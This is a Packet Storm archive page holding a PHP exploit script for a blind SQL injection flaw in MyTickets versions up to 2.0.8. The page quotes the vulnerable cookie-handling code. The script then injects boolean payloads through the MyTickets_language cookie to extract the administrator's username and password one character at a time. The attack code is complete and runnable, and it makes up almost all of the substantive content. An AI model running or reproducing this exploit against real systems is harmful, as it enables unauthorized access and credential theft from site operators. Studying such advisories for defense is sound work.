what you don't know can hurt you

MyTickets Blind SQL Injection

MyTickets Blind SQL Injection
Posted Jun 18, 2012
Authored by al-swisre

MyTickets versions 1 through 2.0.8 suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 74f2543578fb1aa72e0c85cb50517ad1

MyTickets Blind SQL Injection

Change Mirror Download
<?php
/*
---------------------------------------------------------------
MyTickets <= Remote Blind SQL Injection Exploit by al-swisre
---------------------------------------------------------------

author...............: al-swisre
mail.................: oy3[at]hotmail[dot]com
software link........: http://phpx3.com/scripts.html#mytickets
affected versions....: from 1 to 2.0.8


[-] Vulnerable code in include/system/general/define.php:

43. if(empty($cookies['language'])){
44. setcookie('MyTickets_language',$setting['default_language'],time()+86400,"/");
45. $language = $setting['default_language'];
46. }else{
47. if($db->count('languages',"`id`='".$cookies['language']."'") == 0){
48. $language = $setting['default_language'];
49. }
50. $language = $cookies['language'];
52. }
52.
53. $language_array = $db->fetch($db->query("SELECT * FROM `languages` WHERE `id`='".$language."'"));


*/


print "\n+--------------------------------------------------------------------+";
print "\n| MyTickets <= Remote Blind SQL Injection Exploit by al-swisre |";
print "\n+--------------------------------------------------------------------+\n";


if (!extension_loaded('curl')) die("cURL extension required\n");
error_reporting(E_ERROR);
set_time_limit(0);


function get($url,$inj)
{

$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,3);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_COOKIE, "MyTickets_language=1$inj");
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_VERBOSE, 0);
$calis = curl_exec($curl);
@curl_close($calis);
return $calis;


}

function chek_get($connect)
{

if(eregi("include",$connect))
{
return false;
}
else
{
return true;
}

}


if ($argc < 2)
{
print "\nUsage......: php $argv[0] <url>\n";
print "\nExample....: php $argv[0] http://localhost/mytickets/";
print "\nExample....: php $argv[0] http://localhost/mytickets/\n";
die();
}

$sql_f = chek_get(get($argv[1],"' and 1='2 /*"));
$sql_t = chek_get(get($argv[1],"' and 1='1 /*"));


if($sql_t == $sql_f)
{

print "\n\t sorry: magic_quotes_gpc = On ): \n";
die();
}

print "\n\t[+] Getting Admin Username and Password\n\n\t";



for ($g = 1; $g <= 40; $g++) { //eidt
for ($i = 46; $i <= 122; $i++) {

$inject = chek_get(get($argv[1],"'+AnD+ascii(MiD((sElect+concat_ws(0x3a,username,password)+frOm+members+liMit 0,1),".$g.",1))='".$i."/*"));

if($inject == true){print chr($i);}
}
}




?>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    2 Files
  • 15
    Sep 15th
    1 Files
  • 16
    Sep 16th
    10 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close